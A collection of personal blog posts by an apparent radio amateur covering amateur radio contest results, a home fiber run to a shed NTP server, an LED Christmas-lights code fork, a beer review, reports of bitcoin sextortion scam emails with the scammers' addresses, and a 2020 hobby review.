Now all I need is a physical route between the shed and the rest of the network. There is an old plastic pipe from the shed to the crawlspace of our house that was once used for heating will probably do the trick once I figure out how to remove the old heating pipes from it. I guess there is some real dirty work below the floor of our house and in the shed in my near future. I will also need to buy plastic tubing to safely guide the vulnerable fiber. And some hooks to hang this tube and other cables from the floor instead of having them lie in the sand in the crawlspace.

Since there is also an old gas pipe in the plastic pipe I will make really really sure first that one isn't connected somewhere.

This was all triggered by adding the ntp server in the shed to the NTP pool and having the pool monitoring system gripe about the server becoming unreachable as soon as I have wifi problems. The things I will do for serving the right time!

The contest that started radio contests in digital modes for me was again last weekend: the UBA PSK63 Prefix Contest. This is the 7th year in a row that I participated in that contest.

Conditions weren't very good. Especially Saturday the 20 meter band 'dried up' as soon as it got a bit dark and later in the evening I stopped trying on the 40 meter band and decided to call it a night. Sunday morning after I woke up I tried again and got a good number of new stations both on 20 and 40 meters.

In the end I made 78 contacts.

Update 2021-03-14: Results are in: 74 valid contacts, 68 multipliers, 5032 points. Ranking number 154 in the single operator all band category.

Last weekend was the ARRL RTTY Roundup 2020 and I participated. I made sure beforehand to have a separate logging file for just this contest, with the plan to be able to switch from RTTY in fldigi to FT8/FT4 in wsjt-x and back.

Propagation on the 40 meter band during the dark hours wasn't very good, I never got outside of Europe on that band. On Sunday afternoon I tried the 20 meter band for a while with not much better results. I switched back to 40 meter and worked some new stations. I did switch back to the 20 meter band just before sunset and got one US station in the log: W0PR which also sounds like a reference to the WarGames movie (to me).

I did switch to wsjt-x on Sunday evening. I saw absolutely no calls for the contest on 40 meter FT8, and only a few on 40 meter FT4 so I tried making those contacts. I saw several US stations calling but none heard my answer.

In the end I made 89 contacts. I did transpant the log from fldigi to wsjt-x but wsjt-x did not see the earlier contest contacts so I increased the outgoing serial counter to start at 86. I've had better years in the ARRL RTTY Roundup.

I forked the github repository GitHub - jgarff/rpi_ws281x: Userspace Raspberry Pi PWM library for WS281X LEDs into my own GitHub - KHoos/rpi_ws281x: Userspace Raspberry Pi PWM library for WS281X LEDs and committed my code for using the 120 led ledstrip as christmas tree lights including morse code.

It's my first actual python code.

Looking for some special beers for new year's eve I found this at the local supermarket. I know 'standard' Guinness since we used to drink that on holidays in England, but I had no idea what to expect from this beer. Time for the experiment.

In taste it's a reminder of Guinness, but not as 'creamy' as Guinness. A bit more nuance in taste.

The beer details

Company	Guinness
Beer name	Guinness West Indies Porter
Beer style	Porter
Alcohol by volume	6.0 %

The bitcoin sextortion scams continue in this year. The one I got today tries to avoid spam filters that trigger on bitcoin addresses:

Ok! So.. to get some coins go and search on Google for "Buy BIT C0lN instantly"
and send to this address:

Address: 1 L 2 U a v M T r h p C X W n 9 L v q h C q R S v x Y z f Q s B w 4
Amount: 0.027

The address 1L2UavMTrhpCXWn9LvqhCqRSvxYzfQsBw4 is valid according to 1L2UavMTrhpCXWn9LvqhCqRSvxYzfQsBw4 - blockchain explorer but not yet known at BitcoinAbuse.

I hope some day one of these scammers is brought to justice.

Update 2021-01-10: More of the same, with reasonably good Dutch language writing. New bitcoin addresses: 1Emh6CsbF4eo425ph3sSCNZ2aGCWerRB7w 1JakpfFpX4HFyiuv7WKviV5xAanMwknArV 1Emh6CsbF4eo425ph3sSCNZ2aGCWerRB7w and the criminal wants 1500 US Dollar in buttcoins to not publish the videos.

Update 2021-01-13: More good Dutch although I am sure it's a translation because of the familiairity in the writing style. Bitcoin address Eu8sHWG2Uzvd1ukxumae5ctfSNWWtsFkS. The amount has changed to 1400 Euro in buttcoins.

I also note bitcoin address 1JakpfFpX4HFyiuv7WKviV5xAanMwknArV has received 2 incoming transactions of somewhat above 1500 dollars so it seems this crime pays.

Time to plot the number of contacts in 2020 and a review. I made no specific resolutions for 2020 but looking back there were positive developments.

• The Kenwood TS480-SAT is at a remote location with good antennas for most of the HF bands. This enabled me to work new countries and get more voice and morse contacts in the log.
• I was active on amateur satellites a few times, including from Austria.
• The morse speed improved and I got on the air more with morse. Including a few morse contests.
• I tried to follow the Bulgarian Saints 2020 stations and I had at least one contact with one of the stations in 10 out of the 12 months of 2020. In 8 months I had at least one contact in morse with the station of that month. So I earned the Bulgarian Saints diploma 2020.
• In general I made more contacts in this year than in any other year. The endfed antenna is now mounted outside in such a way I can leave it there, which makes getting on the radio for a few contacts easier. There were also more special event stations active this year.
• I had radio contacts with several new countries.
• The box with outgoing QSL cards is now empty!
• I'm active as QSL manager for my local club, this is fun and my part of keeping the club running.

Plans for 2021:

• Keep practicing morse, try to pass the morse exam.
• More satellite contacts. Weather permitting...
• Morse and phone in contests.
• Order new QSL cards and keep on sending them.